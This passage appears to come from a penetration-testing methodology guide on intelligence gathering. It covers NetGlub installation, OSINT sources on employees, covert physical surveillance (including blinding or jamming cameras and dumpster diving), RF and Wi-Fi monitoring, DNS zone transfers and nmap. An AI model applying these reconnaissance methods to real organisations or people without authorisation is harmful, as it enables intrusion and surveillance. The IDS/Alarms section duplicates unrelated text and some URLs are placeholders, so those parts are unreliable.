wget http://sourceforge.net/projects/pyxml/files/pyxml/0.8.4/PyXML-0.8.4.tar.gz
tar -xvzf PyXML-0.8.4.tar.gz
cd PyXML-0.8.4
wget http://launchpadlibrarian.net/31786748/0001-Patch-for-Python-2.6.patch
patch -p1 < 0001-Patch-for-Python-2.6.patch
python setup.py install
cd /pentest/enumeration
```

At this point we're going to use a GUI installation of the QT-SDK. The main thing to point out here is that the installation path needs to be changed during the installation to reflect /opt/qtsdk. If you use a different path, then you will need to update the paths in the script below to reflect that difference.

Note that during the QT-SDK installation we are reminded for external dependencies, so make sure we run "apt-get install libglib2.0-dev libSM-dev libxrender-dev libfontconfig1-dev libxext-dev".

```
wget http://blog.hynesim.org/ressources/install/qt-sdk-linux-x86-opensource-2010.03.
↪bin
chmod +x qt-sdk-linux-x86-opensource-2010.03.bin
./qt-sdk-linux-x86-opensource-2010.03.bin
wget http://www.graphviz.org/pub/graphviz/stable/SOURCES/graphviz-2.26.3.tar.gz
tar -xzvf graphviz-2.26.3.tar.gz
cd graphviz-2.26.3
./configure
make
make install
cd /pentest/enumeration
wget http://redmine.lab.diateam.net/attachments/download/1/netglub-1.0.tar.gz
tar -xzvf netglub-1.0.tar.gz
mv netglub-1.0 netglub
cd /pentest/enumeration/netglub/qng/
/opt/qtsdk/qt/bin/qmake
make
```

Now we need to start MySQL and create the netglub database

```
start mysql
mysql -u root -ptoor

create database netglub;
use netglub;
create user "netglub"@"localhost";
set password for "netglub"@"localhost" = password("netglub");
GRANT ALL ON netglub.* TO "netglub"@"localhost";
quit

mysql -u root -ptoor netglub < /pentest/enumeration/netglub/master/tools/sql/netglub.
↪sql

cd /opt/qtsdk/qt/src/plugins/sqldrivers/mysql/
/opt/qtsdk/qt/bin/qmake INCLUDEPATH+=/usr/include/mysql/
make
cp /opt/qtsdk/qt/src/plugins/sqldrivers/mysql/libqsqlmysql.so /opt/qtsdk/qt/plugins/
↪sqldrivers/.
```

(continues on next page)

(continued from previous page)

```
cd /pentest/enumeration/netglub/master
/opt/qtsdk/qt/bin/qmake
make
cd tools/
./install.sh
cd /pentest/enumeration/netglub/slave
/opt/qtsdk/qt/bin/qmake
make
cd tools/
./install.sh
wget http://sourceforge.net/projects/xmlrpc-c/files/Xmlrpc-c%20Super%20Stable/1.16.34/
↪xmlrpc-c-1.16.34.tgz/download
tar -zxvf xmlrpc-c-1.16.34.tgz
cd xmlrpc-c-1.16.34
./configure
make
make install
```

Once you have installed NetGlub, you'll probably be interested in running it. This is really a four step process: Ensure that MySQL is running:

```
start mysql
```

Start the NetGlub Master:

```
/pentest/enumeration/netglub/master/master
```

Start the NetGlub Slave:

```
/pentest/enumeration/netglub/slave/slave
```

Start the NetGlub GUI:

```
/pentest/enumeration/netglub/qng/bin/unix-debug/netglub
```

Now the main interface should be visible. If you are familiar with Maltego, then you will feel right at home with the interface. The six main areas of the interface are the toolbar, the Palette, graph, (or view) area, details, and the property area.

'" Screenshot Here '"

A complete list of all the transforms that are available (or activated) for use. As of this writing, there are approximately 33 transforms. A transform is script that will actually perform the action against a given site.

'" Screenshot Here '"

The graph area allows you to process the transforms as well as view the data in either the mining view, dynamic view, edge weighted view as well as the entity list. The overview area provides a mini-map of the entities discovered based upon the transforms. The detail area is where it is possible to drill into the specifics of the entity. It is possible to view such things as the relationships, as well as details of how the information was generated. The property area allows you to see the specific properties of the transform populated with the results specific to the entity. To begin using NetGlub we need to drag and drop a transform from the Palette to the Graph Area. By default, this will be populated with dummy data. To edit the entity within the selected transform, do so by editing the entries within the property view.

We first need to determine the Internet infrastructure such as Domains. To perform this we will drag and drop the Domain transform to the graph area. Edit the transform to reflect the appropriate domain name for the client. It is possible to collect nearly all the data that we will initially require by clicking on Run All Transforms.

The data from these entities will be used to obtain additional information. Within the graph area the results will be visible as illustrated below.

‘” Screenshot Here ‘”

Selecting the entities and choosing to run additional transforms the data collected will expand. If a particular transform has not be used that you want to collect data from, simply drag it to the graph area and make the appropriate changes within the property view.

There will be some information that you will need to enter to ensure that NetGlub functions properly. For example, you will need to enter in DNS servers which to query. In addition, you will be asked to provide your Alchemy and Open calais API keys.

For Alchemy, you will need to go to http://www.alchemyapi.com/api/register.html to receive your own API key. For Open calais, you will need to go to http://www.opencalais.com/APIkey to receive your own API key.

Usernames/Handles

Identifying usernames and handles that are associated with a particular email is useful as this might provide several key pieces of information. For instance, it could provide a significant clue for username and passwords. In addition, it can also indicate a particular individual’s interest outside of work. A good place to location this type of information is within discussion groups (Newsgroups, Mailing lists, forums, chat rooms, etc.).

Social Networks

- Check Usernames - Useful for checking the existence of a given username across 160 Social Networks.

Newsgroups

- Google - http://www.google.com
- Yahoo Groups - http://groups.yahoo.com
- Delphi Forums - http://www.delphiforums.com
- Big Boards - http://www.big-boards.com

Mailing Lists

- TILE.Net - http://tile.net/lists
- Topica - http://lists.topica.com
- L-Soft CataList, the Official Catalog of LISTSERV lists - http://www.lsoft.com/lists/listref.html
- The Mail Archive - http://www.mail-archive.com

Chat Rooms

- SearchIRC - http://searchirc.com
- Gogloom - http://www.gogloom.com

Forums Search

- BoardReader - http://boardreader.com
- Omgili - http://www.omgili.com

Personal Domain Names

The ability to locate personal domains that belong to target employees can yield additional information such as potential usernames and passwords. In addition, it can also indicate a particular individual's interest outside of work.

Personal Activities

It is not uncommon for individuals to create and publish audio files and videos. While these may be seem insignificant, they can yield additional information about a particular individual's interest outside of work.

Audio

- iTunes - http://www.apple.com/itunes
- Podcast.com - http://podcast.com
- Podcast Directory - http://www.podcastdirectory.com
- Yahoo! Audio Search - http://audio.search.yahoo.com

Video

- YouTube - http://youtube.com
- Yahoo Video - http://video.search.yahoo.com
- Google Video - http://video.google.com
- Bing Video - http://www.bing.com/videos

Archived Information

There are times when we will be unable to access web site information due to the fact that the content may no longer be available from the original source. Being able to access archived copies of this information allows access to past information. There are several ways to access this archived information. The primary means is to utilize the cached results under Google's cached results. As part of an NVA, it is not uncommon to perform Google searches using specially targeted search strings:
cache:<site.com>

Note: Replace <site.com> with the name of the domain that you wish to perform the search on.

An additional resource for archived information is the Wayback Machine (http://www.archive.org).

‘” Screenshot Here ‘”

Electronic Data

Collection of electronic data in direct response to reconnaissance and intelligence gathering should be focused on the target business or individual.

Document leakage

Publicly available documents should be gathered for essential data (date, time, location specific information, language, and author). Data collected could provide insight into the current environment, operational procedures, employee training, and human resources.

Metadata leakage

Identifying Metadata is possible using specialized search engine. The goal is to identify data that is relevant to the target corporation. It may be possible to identify locations, hardware, software and other relevant data from Social Networking posts. Some search engines that provide the ability to search for Metadata are as follows:

- ixquick - http://ixquick.com
- MetaCrawler - http://metacrawler.com
- Dogpile - http://www.dogpile.com
- Search.com - http://www.search.com
- Jeffery's Exif Viewer - http://regex.info/exif.cgi

In addition to search engines, several tools exist to collect files and gather information from various documents.

FOCA (Windows)

FOCA is a tool that reads metadata from a wide range of document and media formats. FOCA pulls the relevant usernames, paths, software versions, printer details, and email addresses. This can all be performed without the need to individually download files.

Foundstone SiteDigger (Windows)

Foundstone has a tool, named SiteDigger, which allows us to search a domain using specially strings from both the Google Hacking Database (GHDB) and Foundstone Database (FSDB). This allows for slightly over 1640 potential queries available to discover additional information.
‘” Screenshot Here ‘”

The specific queries scanned as well as the results of the queries are shown. To access the results of a query, simply double-click on the link provided to open in a browser.

Metagoofil (Linux/Windows)

Metagoofil is a Linux based information gathering tool designed for extracting metadata of public documents (.pdf, .doc, .xls, .ppt, .odp, .ods) available on the client's websites.

Metagoofil generates an html results page with the results of the metadata extracted, plus a list of potential usernames that could prove useful for brute force attacks. It also extracts paths and MAC address information from the metadata.

Metagoofil has a few options available, but most are related to what specifically you want to target as well the number of results desired.

‘” Screenshot Here ‘”

The command to run ''metagoofil ''is as follows:

```
metagoofil.py -d <nowiki><</nowiki>client domain<nowiki>></nowiki> -l 100 -f all -o
↪<nowiki><</nowiki>client domain<nowiki>></nowiki>.html -t micro-files
```

Exif Reader (Windows)

Exif Reader is image file analysis software for Windows. It analyzes and displays the shutter speed, flash condition, focal length, and other image information included in the Exif image format which is supported by almost all the latest digital cameras. Exif image files with an extension of JPG can be treated in the same manner as conventional JPEG files. This software analyzes JPEG files created by digital cameras and can be downloaded from http://www.takenet.or.jp/~ryuuji/minisoft/exifread/english.

ExifTool (Windows/ OS X)

Exif Tool is a Windows and OS X tool for reading Meta information. ExifTool supports a wide range of file formats. ExifTool can be downloaded from http://www.sno.phy.queensu.ca/~phil/exiftool.

Image Search

While not directly related to metadata, Tineye is also useful: http://www.tineye.com/ If a profile is found that includes a picture, but not a real name, Tineye can sometimes be used to find other profiles on the Internet that may have more information about a person (including personals sites).

9.2.4 Covert gathering

On-location gathering

On-Site visits also allow assessment personnel to observe and gather information about the physical, environmental, and operational security of the target.

Adjacent Facilities

Once the physical locations have been identified, it is useful to identify the adjacent facilities. Adjacent facilities should be documented and if possible, include any observed shared facilities or services.

Physical security inspections

Covert Physical security inspections are used to ascertain the security posture of the target. These are conducted covertly, clandestinely and without any party knowing they are being inspected. Observation is the key component of this activity. Physical security measures that should be observed include physical security equipment, procedures, or devices used to protect from possible threats. A physical security inspection should include, but is not limited to the following:

Security guards

Observing security guards (or security officer) is often the first step in assessing the most visible deterrence. Security guards are uniformed and act to protect property by maintaining a high visibility presence to deter illegal and inappropriate actions. By observing security guard movements directly it is possible to determine procedures in use or establish movement patterns. You will need to observe what the security guards are protecting. It is possible to utilize binoculars to observe any movement from a safe distance.

Some security guards are trained and licensed to carry firearms for their own safety and for personnel they are entrusted to protect. The use of firearms by security guards should not be a surprise, if noted. This should be documented prior

to beginning the engagement. If firearms are observed, ensure that precaution is taken not to take any further action unless specifically authorized and trained to do so.

Badge Usage

Badge usage refers to a physical security method that involves the use of identification badges as a form of access control. Badging systems may be tied to a physical access control system or simply used as a visual validation mechanism. Observing individual badge usage is important to document. By observing, badge usage it may be possible to actually duplicate the specific badge being utilized. The specific items that should be noted are if the badge is required to be visible or shown to gain physical access to the property or facility. Badge usage should be documented and if possible, include observed validation procedures.

Locking devices

A locking device is a mechanical or electronic mechanism often implemented to prevent unauthorized ingress or egress. These can be as simple as a door lock, dead-bolt, or complex as a cipher lock. Observing the type and placement location of the locking devices on doors it is possible to determine if the door in primarily used for ingress or egress. You will need to observe what the locking devices are protecting. All observations should be documented prior, and if possible photographs taken.

Intrusion detection systems (IDS)/Alarms

Observing security guards (or security officer) is often the first step in assessing the most visible deterrence. Security guards are uniformed and act to protect property by maintaining a high visibility presence to deter illegal and inappropriate actions. By observing security guard movements directly it is possible to determine procedures in use or establish movement patterns. You will need to observe what the security guards are protecting. It is possible to utilize binoculars to observe any movement from a safe distance.

Some security guards are trained and licensed to carry firearms for their own safety and for personnel they are entrusted to protect. The use of firearms by security guards should not be a surprise, if noted. This should be documented prior to beginning the engagement. If firearms are observed, ensure that precaution is taken not to take any further action unless specifically authorized and trained to do so.

Security lighting

Security lighting is often used as a preventative and corrective measure on a physical piece of property. Security lighting may aid in the detection of intruders, act as deterrence to intruders, or in some cases simply to increase the feeling of safety. Security lighting is often an integral component to the environmental design of a facility. Security lighting includes floodlights and low pressure sodium vapor lights. Most Security lighting that is intended to be left on all night is of the high-intensity discharge lamp variety. Other lights may be activated by sensors such as passive infrared sensors (PIRs), turning on only when a person (or other mammal) approaches. PIR activated lamps will usually be incandescent bulbs so that they can activate instantly; energy saving is less important since they will not be on all the time. PIR sensor activation can increase both the deterrent effect (since the intruder knows that he has been detected) and the detection effect (since a person will be attracted to the sudden increase in light). Some PIR units can be set up to sound a chime as well as turn on the light. Most modern units have a photocell so that they only turn on when it is dark.

While adequate lighting around a physical structure is deployed to reduce the risk of an intrusion, it is critical that the lighting be implemented properly as poorly arranged lighting can actually obstruct viewing the facility they're designed to protect.

Security lighting may be subject to vandalism, possibly to reduce its effectiveness for a subsequent intrusion attempt. Thus security lights should either be mounted very high, or else protected by wire mesh or tough polycarbonate shields. Other lamps may be completely recessed from view and access, with the light directed out through a light pipe, or reflected from a polished aluminum or stainless steel mirror. For similar reasons high security installations may provide a stand-by power supply for their security lighting. Observe and document the type, number, and locations of security lighting in use.

Surveillance /CCTV systems

Surveillance/CCTV systems may be used to observe activities in and around a facility from a centralized area. Surveillance/CCTV systems may operate continuously or only when activated as required to monitor a particular event. More advanced Surveillance/CCTV systems utilize motion-detection devices to activate the system. IP-based Surveillance/CCTV cameras may be implemented for a more decentralized operation.

Surveillance/CCTV cameras can be of a conspicuous nature, which are used as a visible deterrence, as well as an inconspicuous nature. Surveillance/CCTV cameras are generally small high definition color cameras that can not only focus to resolve minute detail, but by linking the control of the cameras to a computer, objects can be tracked semi-automatically. Observing and documenting the Surveillance/CCTV system is critical for identifying the areas of coverage. While it might not be possible to determine the specific camera type being utilized or even the area of coverage it is possible to identify areas with or without limited coverage. It should be noted if the Surveillance/CCTV system is physically protected. If not, then it needs to be documented if the Surveillance/CCTV camera is vulnerable to someone deliberately destroying it. Additionally, a physically unprotected camera may be subject to blurring or blocking the image by spraying substances or obstructing the lens. Lasers can be used to blind or damage Surveillance/CCTV cameras. For wireless Surveillance/CCTV systems, broadcasting a signal at the same frequency as the wireless equipment could make it subject to jamming.

Access control devices

Access control devices enable access control to areas and/or resources in a given facility. Access control refers to the practice of restricting entrance to a property, a building, or a room to authorized persons. Access control can be achieved by a human (a security guard, or receptionist), through mechanical means such as locks and keys, or through technological means such as access control systems like the Access control vestibule.

Access control devices historically were accomplished through keys and locks. Electronic access control use is widely being implemented to replace mechanical keys. Access control readers are generally classified as Basic, Semi-intelligent, and Intelligent. A basic access control reader simply reads a card number or PIN and forward it to a control panel. The most popular type of access control readers are RF Tiny by RFLOGICS, ProxPoint by HID, and P300 by Farpointe Data. Semi-intelligent readers have inputs and outputs necessary to control door hardware (lock, door contact, exit button), but do not make any access decisions. Common Semi-intelligent readers are InfoProx Lite IPL200 by CEM Systems and AP-510 by Apollo. Intelligent readers have all the inputs and outputs necessary to control door hardware while having the memory and the processing power necessary to make access decisions independently of each other. Common Intelligent readers are the InfoProx IPO200 by CEM Systems, AP-500 by Apollo, PowerNet IP Reader by Isonas Security Systems, ID08 by Solus has the built in web service to make it user friendly, Edge ER40 reader by HID Global, LogLock and UNiLOCK by ASPiSYS Ltd, and BioEntry Plus reader by Suprema Inc.

Some readers may have additional features such as an LCD and function buttons for data collection purposes (i.e. clock-in/clock-out events for attendance reports), camera/speaker/microphone for intercom, and smart card read/write support. Observe and document the type, number, and locations of access control devices in use.

Environmental Design

Environmental design involves the surrounding environmental of a building, or facility. In the scope of Physical security, environmental design includes facilities geography, landscape, architecture, and exterior design.

Observing the facilities and surrounding areas can highlight potential areas of concern such as potential obscured areas due to geography and landscaping. Architecture and exterior design can impact the ability of security guards to protect property by creating areas of low or no-visibility. In addition, the placement of fences, storage containers, security guard shacks, barricades and maintenance areas could also prove useful in the ability move around a facility in a covert manner.

Employee Behavior

Observing employees is often the one of the easier steps to perform. Employee actions generally provide insight into any corporate behaviors or acceptable norms. By observing, employees it is possible to determine procedures in use or establish ingress and egress traffic patterns. It is possible to utilize binoculars to observe any movement from a safe distance.

Dumpster diving

Traditionally, most targets dispose of their trash in either garbage cans or dumpsters. These may or may not be separated based upon the recyclability of the material. The act of dumpster diving is the practice of sifting through commercial or residential trash to find items that have been discarded by their owners, but which may be useful. This is often times an extremely dirty process that can yield significant results. Dumpsters are usually located on private premises and therefore may subject the assessment team to potentially trespassing on property not owned by the target. Though the law is enforced with varying degrees of rigor, ensure that this is authorized as part of the engagement. Dumpster diving per se is often legal when not specifically prohibited by law. Rather than take the refuse from the area, it is commonly accepted to simply photograph the obtained material and then return it to the original dumpster.

RF / Wireless Frequency scanning

A band is a section of the spectrum of radio communication frequencies, in which channels are usually used or set aside for the same purpose. To prevent interference and allow for efficient use of the radio spectrum, similar services are allocated in bands of non-overlapping ranges of frequencies.

As a matter of convention, bands are divided at wavelengths of 10^n meters, or frequencies of $3?10^n$ hertz. For example, 30 MHz or 10 m divides shortwave (lower and longer) from VHF (shorter and higher). These are the parts of the radio spectrum, and not its frequency allocation.

Each of these bands has a basic band plan which dictates how it is to be used and shared, to avoid interference, and to set protocol for the compatibility of transmitters and receivers. Within the US, band plans are allocated and controlled by the Federal Communications Commission (FCC). The chart below illustrates the current band plans.

Screenshot Here

To avoid confusion, there are two bands that we could focus on our efforts on. The band plans that would in of interest to an attacker are indicated in the following chart.

align = "center"|**Band name**	align = "center"|**Abbr**	align = "center"|**ITU band**	align = "center"|**Frequency and wavelength in air**	align = "center"|**Example uses**
Very high frequency	VHF	8	30-300 MHz 10 m - 1 m	FM, television broadcasts and line-of-sight ground-to-aircraft and aircraft-to-aircraft communications. Land Mobile and Maritime Mobile communications, amateur radio, weather radio
Ultra high frequency	UHF	9	300-3000 MHz 1 m - 100 mm	Television broadcasts, microwave ovens, mobile phones, wireless LAN, Bluetooth, ZigBee, GPS and two-way radios such as Land Mobile, FRS and GMRS radios, amateur radio

A Radio Frequency (RF) site survey or wireless survey, sometimes called a wireless site survey, is the process of determining the frequencies in use within a given environment. When conducting a RF site survey, it's very important to identify an effective range boundary, which involves determining the SNR at various points around a facility.

To expedite the process, all frequencies in use should be determined prior to arrival. Particular attention should be paid to security guards, and frequencies that the target is licensed to use. Several resources exist to assist in acquiring this information:

Site	**URL**	**Description**
Radio Reference	http://www.radioreference.com/apps/db/	Free part of the site containing a wealth of information
National Radio Data	http://www.nationalradiodata.com/	FCC database search / $29 year
Percon Corp	http://www.perconcorp.com	FCC database search / Paid site - custom rates

Screenshot Here

At a minimum a search engine (Google, Bing, and Yahoo!) should be utilized to conduct the following searches:

- "Target Company" scanner

- "Target Company" frequency
- "Target Company" guard frequency
- "Target Company" MHz
- Press releases from radio manufactures and reseller regarding the target
- Press releases from guard outsourcing companies talking about contracts with the target company

Frequency Usage

A frequency counter is an electronic instrument that is used for measuring the number of oscillations or pulses per second in a repetitive electronic signal. Using a Frequency counter or spectrum analyzer it is possible to identify the transmitting frequencies in use around the target facility. Common frequencies include the following:

Band	Frequency Range
VHF	150 - 174 MHz
UHF	420 - 425 MHz
UHF	450 - 470 MHz
UHF	851 - 866 MHz
VHF	43.7- 50 MHz
UHF	902 - 928 MHz
UHF	2400 - 2483.5 MHz

A spectrum analyzer can be used to visually illustrate the frequencies in use. These are usually targeting specific ranges that are generally more focused than a frequency counter. Below is an output from a spectrum analyzer that can clearly illustrate the frequencies in use. The sweep range for this analyzer is 2399-2485 MHz.

Screenshot Here

All frequency ranges in use in and around the target should be documented.

Equipment Identification

As part of the on-site survey, all radios and antennas in use should be identified. Including radio make and model as well as the length and type of antennas utilized. A few good resources are available to help you identify radio equipment:

Site	URL	Description
HamRadio Outlet	http://www.hamradio.com	A great source of information for amateur radios
BatLabs	http://www.batlabs.com	A great source of information for Motorola two way systems

Identifying 802.11 equipment is usually much easier to accomplish, if not visually, then via RF emissions. For visual identification, most vendor websites can be searched to identify the specific make and model of the equipment in use.

Manufacturer	URL
3com	http://www.3com.com
Apple	http://www.apple.com
Aruba	http://www.arubanetworks.com
Atheros	http://www.atheros.com/
Belkin	http://www.belkin.com
Bluesocket	http://www.bluesocket.com/
Buffalo Technology	http://www.buffalotech.com
Cisco	http://www.cisco.com
Colubris	http://www.colubris.com/
D-Link	http://www.dlink.com
Engenius Tech	http://www.engeniustech.com
Enterasys	http://www.enterasys.com
Hewlett Packard	http://www.hp.com
Juniper	http://www.juniper.net
Marvell	http://www.marvell.com
Motorola	http://www.motorola.com
Netgear	http://www.netgear.com
Ruckus Wireless	http://www.ruckuswireless.com/
SMC	http://www.smc.com
Trapeze	http://www.trapezenetworks.com/
TRENDnet	http://www.trendnet.com
Versa Technology	http://www.versatek.com

In a passive manner, it is possible to identify at the manufacturer based upon data collected from RF emissions.

Wireless Local Area Network (WLAN) discovery consists of enumerating the type of WLAN that is currently deployed. This can be one of the following: Unencrypted WLAN, WEP encrypted WLAN, WPA / WPA2 encrypted WLAN, LEAP encrypted WLAN, or 802.1x WLAN. The tools required to enumerate this information are highlighted as follows.

Airmon-ng

Airmon-ng is used to enable monitor mode on wireless interfaces. It may also be used to go back from monitor mode to managed mode. It is important to determine if our USB devices are properly detected. For this we can use lsusb, to list the currently detected USB devices.

Screenshot Here

As the figure illustrates, our distribution has detected not only the Prolific PL2303 Serial Port, where we have our USB GPS connected, but also the Realtek RTL8187 Wireless Adapter. Now that we have determined that our distribution recognizes the installed devices, we need to determine if the wireless adapter is already in monitor mode by running.

Entering the airmon-ng command without parameters will show the interfaces status.

Screenshot Here

To use one interface simply use airmon-ng to put your card in monitor mode by running:

```
airmon-ng start wlan0
```

Screenshot Here

If there's an existing mon0, destroy it prior to issuing the previous command:

```
airmon-ng stop mon0
```

Once again, entering the airmon-ng command without parameters will show the interfaces status.

Screenshot Here

Airodump-ng

Airodump-ng is part of the Aircrack-ng is a network software suite. Specifically, Airodump-ng is a packet sniffer that places air traffic into Packet Capture (PCAP) files or Initialization Vectors (IVS) files and shows information about wireless networks.

Airodump-ng is used for packet capture of raw 802.11 frames and is particularly suitable for collecting WEP IVs (Initialization Vectors) for later use with Aircrack-ng. If you have a GPS receiver connected to the computer, Airodump-ng is capable of logging the coordinates of the found APs. Before running Airodump-ng, start the Airmon-ng script to list the detected wireless interfaces.

Usage:

```
airodump-ng <nowiki><</nowiki>options<nowiki>></nowiki> <nowiki><</nowiki>interface
↪<nowiki>></nowiki> <nowiki>[</nowiki>, <nowiki><</nowiki>interface<nowiki>></nowiki>
↪...<nowiki>]</nowiki>

Options:

--ivs               : Save only captured IVs

--gpsd              : Use GPSd

--write    <nowiki><</nowiki>prefix<nowiki>></nowiki>: Dump file prefix

-w                  : same as --write

--beacons           : Record all beacons in dump file

--update     <nowiki><</nowiki>secs<nowiki>></nowiki>: Display update delay in seconds

--showack           : Prints ack/cts/rts statistics

-h                  : Hides known stations for --showack

-f          <nowiki><</nowiki>msecs<nowiki>></nowiki>: Time in ms between hopping␣
↪channels

--berlin     <nowiki><</nowiki>secs<nowiki>></nowiki>: Time before removing the AP/
↪client

from the screen when no more packets

are received (Default: 120 seconds)
```

(continues on next page)

(continued from previous page)

```
-r            <nowiki><</nowiki>file<nowiki>></nowiki>: Read packets from that file

-x          <nowiki><</nowiki>msecs<nowiki>></nowiki>: Active Scanning Simulation

--output-format

<nowiki><</nowiki>formats<nowiki>></nowiki>: Output format.  Possible values:

pcap, ivs, csv, gps, kismet, netxml

Short format "-o"

The option can be specified multiple   times.  In this case, each file format␣
↪specified will be output.  Only ivs or pcap can be used, not both.
```

Airodump-ng will display a list of detected APs and a list of connected clients ("stations").

Screenshot Here

Screenshot Here

The first line shows the current channel, elapsed running time, current date and optionally if a WPA/WPA2 handshake was detected.

Kismet-Newcore

Kismet-newcore is a network detector, packet sniffer, and intrusion detection system for 802.11 wireless LANs. Kismet will work with any wireless card which supports raw monitoring mode, and can sniff 802.11a, 802.11b, 802.11g, and 802.11n traffic.

Kismet identifies networks by passively collecting packets and detecting standard named networks, detecting (and given time, decloaking) hidden networks, and inferring the presence of nonbeaconing networks via data traffic.

Kismet is composed of 3 parts:

- '"Drones: '"Capture the wireless traffic to report it to the server; they have to be started manually.
- '"Server: '"Central place that connects to the drones and accepts client connections. It can also capture wireless traffic.
- '"Client: '"The GUI part that will connect to the server.

Kismet has to be configured to work properly. First, we need to determine if it is already in monitor mode by running:

```
airmon-ng
```

Screenshot Here

To use one interface simply use airmon-ng to put your card in monitor mode by running:

```
airmon-ng start wlan0
```

Screenshot Here

If there's an existing mon0, destroy it prior to issuing the previous command:

```
airmon-ng stop mon0
```

Kismet is able to use more than one interface like Airodump-ng. To use that feature, /etc/kismet/kismet.conf has to be edited manually as airmon-ng cannot configure more than one interface for kismet. For each adapter, add a source line into kismet.conf.

Note:"' '"By default kismet stores its capture files in the directory where it is started. These captures can be used with Aircrack-ng.

Typing, "kismet" in a console and hitting "Enter" will start up Kismet.

Screenshot Here

As described earlier Kismet consists of three components and the initial screen informs us that we need to either start the Kismet server or choose to use a server that has been started elsewhere. For our purposes. we will click "Yes" to start the Kismet server locally.

Screenshot Here

Kismet presents us with the options to choose as part of the server startup process.

Screenshot Here

Unless we configured a source in /etc/kismet/kismet.conf then we will need to specify a source from where we want to capture packets.

Screenshot Here

As referenced earlier, we created a monitor sub-interface from our wireless interface. For our purposes, we will enter "mon0", though your interface may have a completely different name.

Screenshot Here

When Kismet server and client are running properly then wireless networks should start to show up. We have highlighted a WEP enabled network. There are numerous sorting options that you can choose from. We will not cover all the functionality of Kismet at this point, but if you're not familiar with the interface you should play with it until you get comfortable.

inSSIDer

If you are used to using Netstumbler you may be disappointed to hear that it doesn't function properly with Windows Vista and 7 (64-bit). That being said, all is not lost as there is an alternative that is compatible with Windows XP, Vista and 7 (32 and 64-bit). It makes use of the native Wi-Fi API and is compatible with most GPS devices (NMEA v2.3 and higher). InSSIDer has some features that make it the tool of choice if you're using Windows. InSSIDer can track the strength of received signal in dBi over time, filter access points, and also export Wi-Fi and GPS data to a KML file to view in Google Earth.

Screenshot Here

9.2.5 External Footprinting

The External Footprinting phase of Intelligence Gathering involves collecting response results from a target based upon direct interaction from an external perspective. The goal is to gather as much information about the target as possible.

Identifying IP Ranges

For external footprinting, we first need to determine which one of the WHOIS servers contains the information we're after. Given that we should know the TLD for the target domain, we simply have to locate the Registrar that the target domain is registered with.

WHOIS information is based upon a tree hierarchy. ICANN (IANA) is the authoritative registry for all of the TLDs and is a great starting point for all manual WHOIS queries.

WHOIS lookup

- ICANN - http://www.icann.org
- IANA - http://www.iana.com
- NRO - http://www.nro.net
- AFRINIC - http://www.afrinic.net
- APNIC - http://www.apnic.net
- ARIN - http://ws.arin.net
- LACNIC - http://www.lacnic.net
- RIPE - http://www.ripe.net

Once the appropriate Registrar was queried we can obtain the Registrant information. There are numerous sites that offer WHOIS information; however for accuracy in documentation, you need to use only the appropriate Registrar.

- InterNIC - http://www.internic.net/ http://www.internic.net]

BGP looking glasses

It is possible to identify the Autonomous System Number (ASN) for networks that participate in Border Gateway Protocol (BGP). Since BGP route paths are advertised throughout the world we can find these by using a BGP4 and BGP6 looking glass.

- BGP4 - http://www.bgp4.as/looking-glasses
- BPG6 - http://lg.he.net/

Active Reconnaissance

- Manual browsing
- Google Hacking - http://www.exploit-db.com/google-dorks

Passive Reconnaissance

- Google Hacking - http://www.exploit-db.com/google-dorks

Active Footprinting

The active footprinting phase of Intelligence Gathering involves gathering response results from a target based upon direct interaction.

Zone Transfers

DNS zone transfer, also known as AXFR, is a type of DNS transaction. It is a mechanism designed to replicate the databases containing the DNS data across a set of DNS servers. Zone transfer comes in two flavors, full (AXFR) and incremental (IXFR). There are numerous tools available to test the ability to perform a DNS zone transfer. Tools commonly used to perform zone transfers are host, dig, and nmap.

Host

```
host <nowiki><</nowiki>domain<nowiki>></nowiki> <nowiki><</nowiki>DNS server<nowiki>>
↪</nowiki>
```

Dig

```
dig @server domain axfr
```

Reverse DNS

Reverse DNS can be used to obtain valid server names in use within an organizational. There is a caveat that it must have a PTR (reverse) DNS record for it to resolve a name from a provided IP address. If it does resolve then the results are returned. This is usually performed by testing the server with various IP addresses to see if it returns any results.

DNS Bruting

After identifying all the information that is associated with the client domain(s), it is now time to begin to query DNS. Since DNS is used to map IP addresses to hostnames, and vice versa we will want to see if it is insecurely configure. We will seek to use DNS to reveal additional information about the client. One of the most serious misconfigurations involving DNS is allowing Internet users to perform a DNS zone transfer. There are several tools that we can use to enumerate DNS to not only check for the ability to perform zone transfers, but to potentially discover additional host names that are not commonly known.

Fierce2 (Linux)

For DNS enumeration, there are two tools that are utilized to provide the desired results. The first that we will focus on is named Fierce2. As you can probably guess, this is a modification on Fierce. Fierce2 has lots of options, but the one that we want to focus on attempts to perform a zone transfer. If that is not possible, then it performs DNS queries using various server names in an effort to enumerate the host names that have been registered.

The command to run *fierce2* is as follows:

```
fierce -dns <nowiki><</nowiki>client domain<nowiki>></nowiki> -prefix <nowiki><</
↪nowiki>wordlist<nowiki>></nowiki>
```

‘” Screenshot Here ‘”

There is a common prefix (called common-tla.txt) wordlist that has been composed to utilize as a list when enumerating any DNS entries. This can be found at the following URL:

https://address-unknown/

DNSEnum (Linux)

An alternative to Fierce2 for DNS enumeration is DNSEnum. As you can probably guess, this is very similar to Fierce2. DNSEnum offers the ability to enumerate DNS through brute forcing subdomains, performing reverse lookups, listing domain network ranges, and performing whois queries. It also performs Google scraping for additional names to query.

‘” Screenshot Here ‘”

The command to run *dnsenum* is as follows:

```
dnsenum -enum -f <nowiki><</nowiki>wordlist<nowiki>></nowiki> <nowiki><</nowiki>
↪client domain<nowiki>></nowiki>
```

‘” Screenshot Here ‘”

Again, there is a common prefix wordlist that has been composed to utilize as a list when enumerating any DNS entries. This can be found at the following URL:

https://address-unknown/

Dnsdict6 (Linux)

Dnsdict6, which is part of the THC IPv6 Attack Toolkit, is an IPv6 DNS dictionary brute forcer. The options are relatively simple, but simply specify the domain and a dictionary-file.

Screenshot Here

Port Scanning

Nmap (Windows/Linux)

Nmap (“Network Mapper”) is the de facto standard for network auditing/scanning. Nmap runs on both Linux and Windows. Nmap is available in both command line and GUI versions. For the sake of this document, we will only cover the command line.

```
Nmap 5.51 ( http://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
  Can pass hostnames, IP addresses, networks, etc.
  Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
  -iL <inputfilename>: Input from list of hosts/networks
  -iR <num hosts>: Choose random targets
  --exclude <host1[,host2][,host3],...>: Exclude hosts/networks
  --excludefile <exclude_file>: Exclude list from file
HOST DISCOVERY:
  -sL: List Scan - simply list targets to scan
  -sn: Ping Scan - disable port scan
